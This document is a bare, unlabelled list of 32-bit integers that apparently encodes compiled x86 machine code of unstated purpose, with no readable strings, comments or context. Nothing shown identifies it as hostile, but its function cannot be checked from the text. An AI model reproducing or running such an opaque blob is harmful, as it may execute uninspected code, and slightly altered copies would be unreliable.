3943630080, 2304114687, 2203277029, 1569400044, 1623639816, 2378180809, 314089856, 2299431680, 3375494221, 1301091211, 2299694056, 1166928965, 1170690532, 232, 1170690816, 1264, 3539947520, 2212775307, 1133055172, 4098198300, 91489835, 119250664, 4167404800, 3277676123, 1474660693, 3430255958, 906684499, 3280011278, 4294961826, 2336812163, 2304116805, 3351757893, 3223898464, 1166608267, 3904909796, 39988, 2380023181, 313990283, 2213710080, 275385580, 2179467370, 2214592510, 3897955524, 932326, 2148582531, 1946214525, 3292891921, 3334755723, 2332099648, 42589253, 3968019691, 820532748, 2332033179, 2341323845, 1226524, 3968070281, 1779460620, 4265535496, 3296985087, 2749912596, 2197818937, 1166741700, 1946627044, 452323333, 1166737415, 4100296132, 1566531163, 2415920322, 239259880, 4223762688, 1442840553, 2203313545, 3284607212, 3223898464, 1300827019, 3339357172, 2, 2299562752, 143257685, 1357923725, 238637544, 281314048, 737428875, 3892671491, 465571, 3388759435, 3850982851, 3330889303, 1406434701, 238358504, 2814607616, 2214592489, 1187462380, 4, 3293939968, 3378561223, 143376424, 837045641, 444361, 2298478592, 32030789, 2332035842, 1301136469, 1778477784, 14844160, 1795162096, 6836481, 1375731728, 1170691920, 216, 3695560448, 0, 14697927, 3892314112, 728364, 4035574409, 3894199427, 4294967096, 1460464771, 238597608, 3293940480, 2176861579, 1048546, 72780032, 736382347, 3892671496, 465403, 2314495373, 1600019440, 2304099165, 2304137189, 1709724614, 2164264500, 4293459395, 1022133247, 280263, 2298478592, 1300874325, 1623246780, 2344626377, 3833432376, 113770289, 0, 2312404365, 1374208069, 2365590273, 23779405, 1791251851, 2164353536, 4293918946, 1300976127, 3628451772, 0, 268419457, 1170669568, 220, 14778624, 3355443184, 57413, 1381040128, 1911052112, 2298481436, 2213579258, 2112363716, 2214592510, 3898019052, 931834, 2344899979, 3800154181, 4095, 2332317321, 942400637, 1088947572, 2365589273, 4035572837, 1566531163, 3850982851, 3330889303, 1406434701, 238266344, 1069777152, 2214592488, 1187462380, 4, 3293939968, 3378561223, 143376424, 837045641, 444361, 2298478592, 2582167621, 2332035840, 1301136469, 1778477784, 14844160, 1795162096, 6836481, 1375731728, 1170691920, 216, 3695560448, 0, 14697927, 3892314112, 728004, 4035574409, 3894199427, 4294966736, 1460464771, 238505448, 3293940480, 2176861579, 1048546, 72780032, 736382347, 3892671496, 465043, 2314495373, 1600019440, 2304099165, 1398167525, 238223336, 2546172160, 2214592487, 1166765292, 3339225612, 684286146, 2302315456, 4281459837, 3097934733, 4185915410, 2491255041, 4185921140, 2139361026, 2214592516, 3196391369, 3909091333, 351, 2333103501, 1166607432, 2826276240, 2378978697, 240296339, 2487585536, 2379502985, 240118675, 3763702016, 2311869837, 1435091029, 3025505716, 2890238290, 1721779597, 3114290569, 3, 2299325571, 1166644293, 3353840088, 43077, 1170669568, 7856, 3360016128, 0, 114312647, 3338665984, 580677, 1170669568, 708, 3091580672, 2, 12338631, 4076863488, 4034455717, 1166737420, 281314192, 2214807690, 2150200521, 2232354041, 162, 2366434435, 314099075, 1122521088, 2365591101, 314107267, 2540195840, 3909091328, 1160, 1359171725, 2475512401, 1227094, 2420476242, 238926312, 2420476672, 2316354691, 4202692944, 2367386944, 314107267, 2207076352, 1226596, 40040, 2207076352, 1227131, 3531873771, 2207063925, 1226981, 1686342992, 1744835255, 157, 3213069648, 1342182073, 2519016, 2370982400, 2370961744, 314181523, 1166627328, 1029236880, 1166737422, 214205328, 21018127, 1346964715, 2232, 266392320, 4283482294, 1979650165, 1010362516, 1172897806, 2332033028, 1166607432, 274042248, 2343073165, 1435079749, 2710801868, 2298482258, 2475545685, 938233, 2376877449, 1166647365, 3628435860, 1353991565, 2380289417, 1300876373, 244128, 3968008192, 3226831116, 2310296969, 2420476391, 11027911, 3338665984, 2011205, 1170669568, 200, 3494233856, 6, 148653511, 3338665984, 181317, 1170669568, 696, 3158689536, 0, 401122803, 2332036335, 3296954437, 55609872, 251918976, 117892, 2609319680, 2147483648, 2215576058, 306, 251853440, 150661, 74484480, 3339746699, 43077, 1170669568, 172, 4256360448, 4069064714, 3867214186, 4095, 4026589825, 7012351, 1979646314, 268462224, 1347551232, 3348395519, 46149, 1170669568, 184, 3158689536, 0, 186177512, 2823654656, 2308199819, 482640840, 3901771145, 4294965980, 4279037059, 1474860149, 2332036660, 1971955781, 4165527724, 1082916863, 1015637560, 28240176, 4202692608, 3129282308, 2332033025, 4281405557, 11027911, 2298478592, 2106428541, 2289404328, 3338956939, 44101, 367525888, 2298481405, 2164353778, 1048550, 14844160, 1795162096, 4278282752, 6852725, 1375731728, 2490761040, 11814343, 3338665984, 47173, 1170669568, 188, 406513664, 1435172875, 2214103444, 1172839620, 2214592506, 1979649260, 868280468, 1166737422, 2893384104, 4294423016, 2287307775, 2341227915, 344537152, 810322224, 18278660, 1300955136, 74484496, 11027911, 2365587456, 1170712701, 172, 2286782720, 184321000, 1794279680, 4293296385, 2164260879, 4293918946, 1778412287, 2423652097, 1048680, 4283453952, 1170707573, 180, 3091580672, 0, 12338631, 3892314112, 726952, 2308199819, 482640888, 4294554600, 216826879, 3902043647, 930606, 2309506443, 535342197, 2348810231, 1082886221, 806127672, 35817, 74484480, 3339746699, 43077, 1170669568, 172, 4227786752, 4069064714, 3867214186, 4095, 4026589825, 7012351, 1979646314, 268462224, 1347551232, 3348395519, 46149, 1170669568, 184, 3158689536, 0, 186065896, 2823654656, 2308199819, 482640840, 3901771145, 4294965544, 4279037059, 2749928565, 2332036658, 1971955781, 4136954028, 1082916863, 809273656, 2307935627, 65741836, 3894688905, 930434, 82921, 3850603776, 1342182072, 47464, 22276352, 1435303936, 74484496, 2299033739, 1435078725, 2710801868, 3103788626, 3, 2379502985, 4035551317, 285125647, 2379765129, 240335763, 4172025600, 3763702040, 2311869837, 1435091029, 3025505716, 2772797522, 1972236425, 2789574824, 2207532427, 1435045100, 2890238356, 1170728841, 160, 2756036096, 2823145216, 0, 514868679, 3338665984, 51269, 1170669568, 1744, 3695560448, 8, 46417351, 3338665984, 178245, 1170669568, 188, 3903189760, 846826, 2207270283, 1435177156, 55085716, 74495759, 1963260288, 216826670, 3122758541, 3897557010, 932021, 3102049165, 1750073362, 196, 3076817805, 2370830354, 325461379, 904417280, 2214592546, 2367583689, 314107267, 2207076352, 1226596, 50792, 2207076352, 1227345, 4294680297, 1169625087, 1979664800, 3024455952, 1722041739, 2327332233, 1166583365, 112826, 3771924480, 3897710160, 400338, 3378561223, 3296968744, 3833432848, 594819115, 118654696, 3850603776, 1342182072, 52072, 1686342912, 1342182071, 1713734541, 1156120595, 2382364667, 1583084645, 1438866783, 1448600969, 2106443401, 3521663956, 2164264492, 4292962755, 1022133247, 280263, 2298478592, 3234317397, 3223898464, 1300826251, 3351851492, 6, 3225782528, 184140776, 3293940480, 1792560525, 2164288001, 4293918946, 1359047423, 1048680, 1464881664, 14173639, 3338665984, 56389, 1170669568, 224, 351201280, 4203282443, 3296981129, 4143638556, 3968073727, 2011715340, 2332036656, 1166787669, 4293034432, 2298478607, 1300956246, 1946692580, 297658373, 1703739399, 1542490612, 3277676382, 1474660693, 703091542, 2164264492, 4292919747, 1022133247, 2332575115, 1170672765, 212, 3494217984, 2299544971, 3234318405, 3223898464, 1300826251, 2345218532, 1166609479, 3427634124, 265571641, 36228, 3561327360, 1997293369, 2642644255, 1342182074, 3018621837, 3345481746, 1342177280, 3019735949, 3897557010, 8340, 2333362059, 616158325, 2332033024, 1972219924, 2314242524, 938001493, 2214592503, 3897953516, 931874, 2210944395, 74058948, 1342468863, 118492136, 3561357056, 2333131907, 3229992021, 1166742389, 216826832, 3897954441, 929682, 3943744643, 216826650, 797239382, 3296919566, 4284999952, 1166802943, 51152, 3338665984, 684286144, 3833433024, 91502635, 118538984, 3494218496, 1542743437, 3260899166, 770179076, 83889707, 4294959049, 1474660693, 3632106838, 3697118547, 3342396547, 684286150, 109795264, 837043593, 901572800, 1435172878, 2406668, 3632857088, 4294347240, 605850111, 238515688, 71338752, 2300845193, 65590341, 2298482223, 2649236540, 2332036661, 103539781, 1960068491, 273541125, 1703739399, 1600019444, 3186148189, 83889706, 4294958937, 1474660693, 3632106838, 3697118547, 3342396547, 684286150, 109795264, 837043593, 894232768, 1435172878, 2406668, 3632857088, 4294318568, 605850111, 238487016, 138447360, 2284067977, 2481510213, 2298482222, 770188348, 2332036661, 103539781, 1960265098, 266201093, 1703739399, 1600019444, 1307099997, 83889706, 4294958825, 1474660693, 3698691414, 753697619, 3339222411, 684286147, 2298710976, 3224495173, 2300073867, 4110936304, 3968073727, 3119011340, 2197818934, 3263762628, 2055258161, 158728456, 3223472010, 3766682344, 216826625, 1456948616, 237902312, 3829762816, 1166672683, 3892671703, 462699, 1542743437, 3277676382, 237624296, 3732342016, 2304114687, 2371049189, 3968068701, 1623639840, 2344626377, 4098197766, 1166786609, 407931656, 2531842185, 2214592500, 3897756908, 931400, 41187456, 254024841, 1166590102, 767092967, 1166737422, 2315660276, 91547461, 118426344, 4167404800, 3277676123, 237599720, 3726050560, 2304114687, 1398167525, 2212257165, 1972051180, 1623705352, 2344626377, 3829762311, 1451999281, 3906504964, 4294964637, 1393355907, 238454248, 281314048, 2215596170, 3322312146, 3942654022, 1959460415, 475040526, 1947750411, 541509358, 2147937025, 1946165374, 216826663, 911534163, 3296919566, 406883088, 2299325571, 3897755718, 929062, 736380299, 3893785607, 462459, 1393355907, 238431720, 281314048, 3943710859, 4100296151, 1566531163, 3515438531, 1448600969, 685172819, 3280011278, 4294958446, 3341610115, 684286151, 2300021696, 3526485077, 67664259, 2207063924, 1227561, 1686342992, 1744835255, 368, 2055441744, 1342182075, 1928168, 3698691328, 1300873865, 3908078036, 4294966187, 1443687555, 238409704, 3561851648, 1779221635, 74579716, 216983632, 881393671, 3905128740, 928902, 2232468611, 3230928859, 736392587, 3892671543, 462291, 1542743437, 3277676382, 1474660693, 1105744726, 2164264488, 4292663747, 753697791, 2312390025, 3234320461, 3223898464, 1971925131, 2213949924, 2298742905, 527748165, 3146941325, 2370830354, 314008707, 24733696, 2370830336, 314276483, 3454554112, 2365587484, 3677477957, 4294644456, 216826879, 1474067853, 238369768, 281314048, 1082901129, 619217668, 956491969, 2368567000, 1149962355, 1435174066, 4276349136, 3229941759, 3968014196, 233330444, 2332036661, 3296973901, 2957282064, 3942746372, 3052094220, 3352577419, 0, 216826624, 733276247, 1166737422, 3832908748, 91500587, 118294248, 3561327360, 1542743437, 3277676382, 1474660693, 1911051094, 2164264487, 4292610499, 1290568703, 2299020683, 1166783557, 2957347088, 3378561223, 143376424, 837045641, 2957347785, 67664003, 2207059572, 1227757, 22046800, 1340801024, 2366395787, 4035561589, 4294145256, 216826879, 878504022, 3296919566, 256936464, 2215629444, 276, 2215627518, 284, 2300080267, 474483697, 16679951, 1166737408, 142115760, 2367648772, 314330499, 1651003392, 2365587457, 314008707, 2207076352, 1227642, 463923280, 1170669568, 208, 3296562432, 13911495, 3892314112, 717792, 1301148297, 2164353752, 4293918946, 2164288255, 1048550, 1359047168, 1048680, 1464881664, 14173639, 3338665984, 56389, 1170669568, 224, 252110848, 1166868491, 2214234576, 1166613700, 4044286124, 3968073727, 4281423628, 237668840, 3564472576, 2333131907, 2011746373, 2348810222, 1342428245, 71469880, 3240421507, 4164486120, 2005741942, 4064578308, 2958396164, 4294793448, 1958774015, 3494218523, 4293806568, 3024980991, 2369278091, 1963192884, 71732180, 216727945, 2343889735, 13087813, 0, 4279037059, 602451061, 2197818922, 787157188, 2333102219, 1166782541, 4255574196, 518782975, 3152905101, 2370830354, 314008707, 22833152, 2370830336, 325461379, 4277594368, 1166934015, 216826824, 702867536, 3234267150, 3223898464, 736394635, 3892671544, 461619, 2377401739, 1583084645, 79846751, 2649264128, 83889701, 4294957625, 1474660693, 1488293206, 2382364671, 4294921405, 3967898623, 200, 4282156425, 1166802943, 1082493192, 2348810239, 4294917253, 1623246847, 2344626377, 3831335192, 2337725233, 4294917277, 1646061823, 2240479244, 4294967100, 2366434435, 314353792, 3897970688, 927966, 2333394051, 4294917277, 166221567, 2332036188, 4294917277, 607422975, 207743464, 1015384832, 2214592511, 2156727532, 1227979, 2884130384, 2197818920, 2643137732, 4294967100, 1540810838, 2240479244, 4294967104, 4282158475, 3296985087, 2365623052, 314374545, 2298514176, 4294922389, 1150651903, 1476395007, 4283205063, 65535, 3053387776, 4294967104, 4283729351, 327679, 4283564032, 1150651344, 2348810239, 4294918277, 214205439, 2232963209, 2335471058, 4294917253, 1016957951, 2382364671, 314375808, 2240499712, 4294967100, 2156747882, 1226596, 1015384912, 2382364671, 314385792, 1105743872, 2298478617, 4014729464, 3968073727, 1016957708, 1459617791, 207692264, 1015384832, 2214592511, 2156727532, 1228087, 3823654480, 2197818919, 2304185540, 819390659, 1499070478, 138458639, 2643153744, 4294967100, 207473384, 1015909120, 1543503871, 1485933914, 1375736509, 665905232, 1015611406, 3905128740, 929956, 1895783001, 2643153668, 4294967100, 207532776, 2374719744, 4294967100, 1653706075, 1375736509, 662759504, 2643132430, 4294967100, 3894686857, 809644, 4282162571, 881459199, 1619847204, 2240479244, 4294967100, 2366434435, 314403200, 3897970688, 927566, 1460978819, 1105773449, 2197818928, 1351291076, 3906505000, 4294962154, 2332880003, 4294917277, 29251327, 3892314112, 809564, 3894688905, 929816, 4282420619, 2338783231, 1233808704, 3904988708, 31490821, 2374552201, 4294967099, 4282420619, 3800301567, 81838575, 1099485193, 607947044, 238019560, 281314048, 50886784, 2338720374, 3513150832, 31884270, 4282418571, 4127326207, 4282420619, 3968073727, 1285393676, 2332033023, 3347653696, 4282090888, 3884187647, 2315127293, 4276519920, 1394885000, 238001128, 1083017984, 1728053247, 2204989579, 4144562663, 3884185737, 608274679, 478805641, 796583972, 2374696974, 4294967104, 145801865, 158155298, 2213579206, 1099496422, 605849892, 237984744, 1083017984, 2315255807, 570732738, 4027149634, 2300854664, 1105732636, 2969570863, 1900552736, 4282418571, 1082851327, 2345044258, 4294918277, 3756426239, 1216934153, 605849890, 4282092936, 367591423, 2315259439, 4294917005, 2965539327, 4259414786, 158417442, 1082493889, 2298478591, 478749256, 965576740, 3909091327, 929516, 4282420619, 3263823871, 1233797296, 1883382305, 2374750089, 4294967104, 163571587, 2297989575, 2240291137, 4294967099, 3894680713, 929468, 4282420619, 3263823871, 1233781936, 1916936739, 2374553481, 4294967098, 4282420619, 3884187647, 2311522811, 591497464, 3894680713, 929420, 2348279683, 4294918285, 2965539327, 1916936712, 4169778953, 2297423747, 478749505, 778758180, 3263758350, 1109528752, 1083542386, 167772159, 2214103495, 1116266471, 605849891, 237915112, 965577216, 2315255807, 2198909122, 1109585889, 2345568625, 4294918285, 2311457279, 3219555312, 2300723592, 568861724, 2298482222, 572567746, 2508943938, 4294967104, 4169778953, 4282025352, 1116274687, 605849891, 237895656, 3182825216, 4294967099, 4282420619, 3263823871, 3884124336, 1883382519, 4169778953, 2297423747, 478748993, 769058852, 3263758350, 1109541040, 1083542385, 167772159, 2297465286, 478749250, 767223844, 2374696974, 4294967104, 280019593, 158351906, 2214103495, 1099496423, 605849889, 237870056, 2965539072, 1883382276, 4282422667, 3339321343, 1116272777, 605849889, 237862888, 2197991680, 3884186598, 1917330047, 4282025354, 3766747135, 2344684029, 4294918277, 591956223, 4282092936, 478806015, 760408100, 2374696974, 4294967104, 78693001, 158417442, 2213579206, 1099495398, 605849890, 237843432, 1083542272, 2348810239, 3766710336, 2311522688, 3756491768, 2300658312, 367535132, 2315259437, 4294917005, 1354174463, 2345175410, 4294918285, 31622143, 167698563, 591497424, 3894680713, 929008, 145801865, 2339455522, 4294918293, 2311457279, 4276519920, 2300723848, 3521651740, 2332036652, 4294918285, 2965539327, 1883382304, 4169778953, 2300658056, 3051889692, 2332036652, 4294918293, 1883278335, 2198399169, 3322479072, 1116270729, 605849890, 237803496, 1883278080, 3239045313, 3867346912, 4276585343, 3045847049, 4294967104, 2300724872, 1978147868, 2332036652, 4294918325, 1883278335, 151117955, 2297989575, 478748998, 744155172, 45219854, 4282430859, 1344471039, 2214103408, 3490315744, 2300659336, 3219661852, 2332036643, 4294917253, 281314303, 3378561223, 1569439784, 1947741156, 84273157, 1703739399, 1600019444, 2304099165, 2371246053, 4294921397, 1843942399, 2164264479, 4292085187, 3370942975, 2332033024, 3234269309, 3223898464, 1300826251, 1456026084, 4282680713, 4159242239, 2332036649, 607947015, 2198360319, 3229880516, 3180151413, 4294967128, 1460464771, 207351272, 1971555584, 2197820093, 1464863980, 237155816, 348422912, 1441196119, 881393676, 700901412, 2240479246, 4294967108, 736382347, 3899094024, 459891, 2367182731, 4294922421, 3908078079, 4294961605, 1460464771, 4294244328, 281314303, 527810692, 3180495757, 2370830354, 314008707, 14772224, 2370830336, 314427267, 2246594560, 2197815315, 3897953516, 928584, 252494979, 8425654, 3229810688, 1464881780, 4293627368, 973007103, 1703739392, 1600019444, 2304099165, 2371246053, 4294924469, 2045268991, 2164264478, 4292022723, 2834072063, 1442840576, 3378563015, 126599208, 837043593, 1528883392, 2207055884, 1228257, 1343024259, 568911958, 3296919566, 434656788, 2197818453, 1166741700, 1946627044, 61990917, 1703739399, 1600019444, 2304099165, 1398167525, 236855272, 3083043072, 2181038034, 48364, 141921024, 3378561223, 143376424, 837045641, 142509001, 2367649024, 314453379, 2207076352, 1226596, 66152, 2207076352, 1228403, 313452624, 2370830336, 4294922429, 1996443903, 2548585992, 2315255794, 4294919301, 4284111103, 3897952374, 4294963958, 4282682763, 1452015615, 1082492936, 2315255807, 3912558840, 2240675839, 4294967128, 2300839049, 4294917253, 1515776255, 2240479244, 4294967100, 3198063501, 3968008210, 3897577996, 925978, 1460978819, 4282156425, 4025024511, 2332036649, 4294919309, 1016433663, 2214592511, 1015877828, 969486600, 33912056, 4159389704, 1713734541, 3380871187, 2207057525, 1228328, 3180156759, 4294967128, 3488109136, 2298482208, 31990844, 251661396, 4282418614, 3296985087, 1015384336, 2348810239, 4294919301, 619217919, 2129536, 4282418569, 2240675839, 4294967120, 14713871, 3968008192, 1944604684, 2298482217, 2240357436, 4294967096, 207202792, 3280178432, 2197820094, 1464863980, 237007336, 139889408, 3894461571, 4294960410, 1460464771, 206804968, 607947008, 207191528, 3951267072, 2197820094, 1464863980, 236996072, 415531776, 4282168831, 3897622527, 808507, 9669978, 1493177023, 669536338, 1509953056, 1152778073, 1358954495, 207090408, 607947008, 1240006449, 2332036179, 4294918277, 281314303, 2298734785, 4294919301, 1153251839, 268435455, 71044, 948275968, 2348810239, 1344600140, 1183535175, 1083017484, 1090519039, 205950288, 686352464, 1183514638, 341216012, 2333131907, 4294918285, 2181859839, 205949248, 3968056299, 2481475596, 2298482216, 2240357436, 4294967096, 207145448, 310611200, 2197820095, 1464863980, 236949992, 139889408, 3894461571, 4294960186, 1460464771, 206747624, 607947008, 207134184, 981699840, 2197820095, 1464863980, 236938728, 415531776, 4282168831, 3897622527, 808283, 9669978, 1493177023, 1206407250, 1509953055, 1152778073, 1358954495, 207033064, 607947008, 1776877361, 2332036178, 4294918277, 281314303, 2298669249, 4294919301, 1153251839, 1962934271, 948276025, 2348810239, 1344583756, 1183535175, 1083017484, 1090519039, 205950288, 671934544, 1183514638, 341216012, 2333131907, 4294918285, 2181859839, 205949248, 3968057323, 1350929676, 1358954495, 236932584, 1623246592, 2210408649, 1300959428, 1946692580, 10086405, 1703739399, 1600019444, 2304099165, 3968029669, 140348176, 4051626067, 478806015, 4241549348, 478806015, 4115458084, 1569325055, 281314056, 3388759435, 4293158889, 2304086271, 2371246053, 4294924477, 3521663999, 2164264474, 4291783107, 3102507519, 2332033024, 1435175029, 138856204, 0, 3338950281, 684286145, 205965248, 0, 1066695, 2332033024, 3829762305, 2207105073, 1515252, 1328839, 2298478592, 407291654, 0, 1853127, 3321888768, 1459626054, 4283469193, 2508849151, 4294967124, 207039976, 1334021376, 2197820095, 1464863980, 236844520, 1419086592, 2214592511, 2615681220, 2214592482, 3898019052, 807192, 4283469195, 3296985087, 3829762832, 91488555, 117418728, 141920512, 1542743437, 3915210590, 4294967050, 252059232, 380112800, 1095782, 3230587022, 3192934, 2203377806, 3817407724, 1038679123, 2298478603, 1340613660, 2298478712, 3152552988, 2197815335, 3296922820, 262737668, 1629423521, 3473196163, 1716546150, 3035299946, 1716611686, 2901082218, 1716677222, 2766864490, 1716742758, 2632646762, 1716808294, 2498429034, 1716873830, 2364211306, 1716939366, 2229993578, 1717004902, 2045313130, 1728053247, 1785092202, 4285458688, 1785135103, 6973017, 4294927337, 1516922623, 3909118566, 4294967128, 1717267046, 1307115626, 1728053247, 1785093226, 4282575104, 1785135103, 6973021, 4294916073, 1584031487, 3909118566, 4294967084, 1717529190, 568918122, 1728053247, 1785094250, 4279691520, 1785135103, 6973025, 4294904809, 1651140351, 3909118566, 4294967040, 1717791334, 4125687914, 1728053246, 1785095274, 4276807936, 1785135103, 6973029, 4294893545, 1718249215, 3909118566, 4294966996, 1718053478, 3387490410, 1728053246, 1785096298, 4273924352, 1785135103, 6973033, 4294882281, 1785358079, 3909118566, 4294966952, 1718315622, 2649292906, 1728053246, 1785097322, 4271040768, 1785135103, 6973037, 4294871017, 1852466943, 3909118566, 4294966908, 1718577766, 1911095402, 1728053246, 1785098346, 4268157184, 1785135103, 6973041, 4294859753, 1919575807, 3909118566, 4294966864, 1718839910, 1172897898, 1728053246, 1785099370, 4265273600, 1785135103, 6973045, 4294848489, 1986684671, 3909118566, 4294966820, 1719102054, 434700394, 1728053246, 1785100394, 4262390016, 1785135103, 6973049, 4294837225, 2053793535, 3909118566, 4294966776, 1719364198, 3991470186, 1728053245, 1785101418, 4259506432, 1785135103, 6973053, 4294825961, 2120902399, 3909118566, 4294966732, 1719626342, 3253272682, 1728053245, 1711308904, 3051946090, 1728053245, 1711309160, 2850619498, 1728053245, 1711309416, 2649292906, 1728053245, 1711309672, 2447966314, 1728053245, 1711309928, 2246639722, 1728053245, 1711310184, 2045313130, 1728053245, 1711310440, 1843986538, 1728053245, 1711310696, 1642659946, 1728053245, 1711310952, 1441333354, 1728053245, 1711311208, 1240006762, 1728053245, 1711311464, 1038680170, 1728053245, 1711311720, 837353578, 1728053245, 1711311976, 636026986, 1728053245, 1711312232, 434700394, 1728053245, 1711312488, 233373802, 1728053245, 1711312744, 32047210, 1728053245, 1711313000, 4125687914, 1728053244, 1711313256, 3924361322, 1728053244, 1711313512, 3723034730, 1728053244, 1711313768, 3521708138, 1728053244, 1711314024, 3320381546, 1728053244, 1711314280, 3119054954, 1728053244, 1711314536, 2917728362, 1728053244, 1711314792, 2716401770, 1728053244, 1711315048, 2515075178, 1728053244, 1711315304, 2313748586, 1728053244, 1711315560, 2112421994, 1728053244, 1711315816, 1911095402, 1728053244, 1711316072, 1709768810, 1728053244, 1711316328, 1508442218, 1728053244, 1711316584, 1307115626, 1728053244, 1711316840, 1105789034, 1728053244, 1711317096, 904462442, 1728053244, 1711317352, 703135850, 1728053244, 1711317608, 501809258, 1728053244, 1711317864, 300482666, 1728053244, 1711318120, 99156074, 1728053244, 1711318376, 4192796778, 1728053243, 1711318632, 3991470186, 1728053243, 1711318888, 3790143594, 1728053243, 1711319144, 3588817002, 1728053243, 1711319400, 3387490410, 1728053243, 1711319656, 3186163818, 1728053243, 1711319912, 2984837226, 1728053243, 1711320168, 2783510634, 1728053243, 1711320424, 2582184042, 1728053243, 1711320680, 2380857450, 1728053243, 1711320936, 2179530858, 1728053243, 1711321192, 1978204266, 1728053243, 1711321448, 1776877674, 1728053243, 1711321704, 1575551082, 1728053243, 1711321960, 1374224490, 1728053243, 1711322216, 1172897898, 1728053243, 1711322472, 971571306, 1728053243, 1711322728, 770244714, 1728053243, 1711322984, 568918122, 1728053243, 1711323240, 367591530, 1728053243, 1711323496, 166264938, 1728053243, 1711323752, 4259905642, 1728053242, 1711324008, 4058579050, 1728053242, 1711324264, 3857252458, 1728053242, 1711324520, 3655925866, 1728053242, 1711324776, 3454599274, 1728053242, 1711325032, 3253272682, 1728053242, 1711325288, 3051946090, 1728053242, 1711325544, 2850619498, 1728053242, 1711325800, 2649292906, 1728053242, 1711326056, 2447966314, 1728053242, 1711326312, 2246639722, 1728053242, 1711326568, 2045313130, 1728053242, 1711326824, 1843986538, 1728053242, 1711327080, 1642659946, 1728053242, 1711327336, 1441333354, 1728053242, 1711327592, 1240006762, 1728053242, 1711327848, 1038680170, 1728053242, 1711328104, 837353578, 1728053242, 1711328360, 636026986, 1728053242, 1711328616, 434700394, 1728053242, 1711328872, 233373802, 1728053242, 1711329128, 32047210, 1728053242, 1711329384, 4125687914, 1728053241, 1711329640, 3924361322, 1728053241, 1711329896, 3723034730, 1728053241, 1711330152, 3521708138, 1728053241, 1711330408, 3320381546, 1728053241, 1711330664, 3119054954, 1728053241, 1711330920, 2917728362, 1728053241, 1711331176, 2716401770, 1728053241, 1711331432, 2515075178, 1728053241, 1711331688, 2313748586, 1728053241, 1711331944, 2112421994, 1728053241, 1711332200, 1911095402, 1728053241, 1711332456, 1709768810, 1728053241, 1711332712, 1508442218, 1728053241, 1711332968, 1307115626, 1728053241, 1711333224, 1105789034, 1728053241, 1711333480, 904462442, 1728053241, 1711333736, 703135850, 1728053241, 1711333992, 501809258, 1728053241, 1711334248, 300482666, 1728053241, 1711334504, 99156074, 1728053241, 1711334760, 4192796778, 1728053240, 1711335016, 3991470186, 1728053240, 1711335272, 3790143594, 1728053240, 1711335528, 3588817002, 1728053240, 1711335784, 3387490410, 1728053240, 1711336040, 3186163818, 1728053240, 1711336296, 2984837226, 1728053240, 1711336552, 2783510634, 1728053240, 1711336808, 2582184042, 1728053240, 1711337064, 2380857450, 1728053240, 1711337320, 2179530858, 1728053240, 1711337576, 1978204266, 1728053240, 1711337832, 1776877674, 1728053240, 1711338088, 1575551082, 1728053240, 1711338344, 1374224490, 1728053240, 1711338600, 1172897898, 1728053240, 1711338856, 971571306, 1728053240, 1711339112, 770244714, 1728053240, 1711339368, 568918122, 1728053240, 1711339624, 367591530, 1728053240, 1711339880, 166264938, 1728053240, 1711340136, 4259905642, 1728053239, 1711340392, 4058579050, 1728053239, 1711340648, 3857252458, 1728053239, 1711340904, 3655925866, 1728053239, 1711341160, 3454599274, 1728053239, 1711341416, 3253272682, 1795162103, 102653952, 2819596303, 280520214, 2396556800, 817391296, 1424002560, 1409608835, 48425212, 3857186816, 3909091387, 4294965186, 509608042, 262147846, 3093698216, 3633184784, 3093741710, 3767402544, 82608980, 3051945044, 3892314114, 15345, 4294415849, 102654207, 2819596303, 280520214, 2396556800, 817391296, 1424002560, 1409608835, 42658044, 4293394432, 3909091387, 4294965098, 509608042, 262147846, 3093698216, 3633184784, 3093741710, 3767402544, 82608980, 1575550036, 3892314114, 269, 4294393321, 102654207, 2819596303, 280520214, 2396556800, 817391296, 1424002560, 1409608835, 36890876, 3773300736, 3909091387, 4294965010, 509608042, 262147846, 3093698216, 3633184784, 3093741710, 3767402544, 82608980, 99155028, 3892314114, 16349, 4294370793, 1610640127, 2685339166, 1712760847, 2382368952, 1723895512, 2382377144, 3968029920, 3908850692, 472, 4226792, 4139313408, 1552678911, 3908831268, 5256, 2299053187, 2749965340, 2348810230, 2332304476, 2198348916, 1398168812, 383838460, 3296919552, 1405389064, 2355783763, 2246688785, 2415919122, 1407551829, 42713993, 196153328, 1958843407, 2298644738, 3277675464, 1407551829, 235949032, 3821240576, 1375731652, 2231911819, 1376613568, 1342990930, 305177576, 281314048, 3388759435, 2416545987, 2180, 3271954371, 235935720, 3300066560, 2156789759, 1534840, 494397635, 3246456846, 4294952098, 1407551829, 252462475, 252206518, 828821687, 13271488, 2147485696, 2492042956, 392394969, 3649341696, 1532796, 3905117531, 924993, 3295461761, 2304114687, 1166758885, 1572212492, 3501657864, 2176856422, 134217930, 4023156736, 2027525257, 2298484579, 1669126532, 1566244887, 261810371, 906297358, 268435396, 1803065345, 1438842903, 1166796169, 3623882504, 537903965, 537904064, 2304099288, 138775525, 1574445583, 3760197571, 4028698563, 3092615363, 65528, 1159980425, 180388620, 1560823043, 2304086211, 138775525, 2299154573, 2425030224, 2060, 4292154509, 1728053247, 251941001, 1560563713, 2304086211, 138775525, 79725405, 3850982851, 253683795, 3280011278, 4294951862, 3487098960, 1532624902, 2304099165, 2337494757, 1569394805, 540600328, 3263758350, 206408698, 135562123, 25755648, 3380933001, 2302674804, 529539, 3803844352, 4211176201, 3277676123, 2212858197, 2707688684, 0, 1979646058, 3018346504, 2214592511, 3284734148, 2212858197, 2707688684, 0, 1979646314, 2548584456, 2214592511, 3284734148, 2347075925, 1435176005, 1958774024, 973147916, 268485249, 3947364352, 2428722672, 236125160, 398622976, 1442840515, 3851010097, 2299022731, 267388993, 1620609713, 4084531223, 2304099165, 1398167525, 235821032, 4022567168, 2214592450, 2475371756, 1531512, 1584956299, 4067098647, 3829762404, 183550569, 4269867008, 76695844, 3364029302, 216826879, 1642653776, 1435172877, 281314276, 2211988873, 2937061320, 4294607318, 1997537279, 3573845255, 0, 1343024259, 224510440, 4283337984, 14697927, 2197815296, 1166610628, 3628436436, 14435783, 2298478592, 3229864013, 3765779228, 1435188852, 3495246304, 186, 3829959936, 2312128271, 3561851855, 2347520137, 210623573, 2312253905, 1429994568, 2298967268, 1107612028, 2106324203, 3762683876, 18661507, 3186351229, 2312652171, 392206467, 2625881600, 16783200, 1542743437, 3277676382, 2347075925, 948111429, 2333111554, 3531935824, 1082853748, 138774792, 1575157597, 2304086211, 138775525, 147099789, 2160459776, 2241, 2962262272, 2365587464, 579728, 3297806592, 2365587464, 584848, 3633350912, 2365587464, 589968, 3968895232, 2365587464, 569488, 3581986304, 8, 149520582, 3321888768, 0, 4294967295, 0, 4294967295, 0, 1, 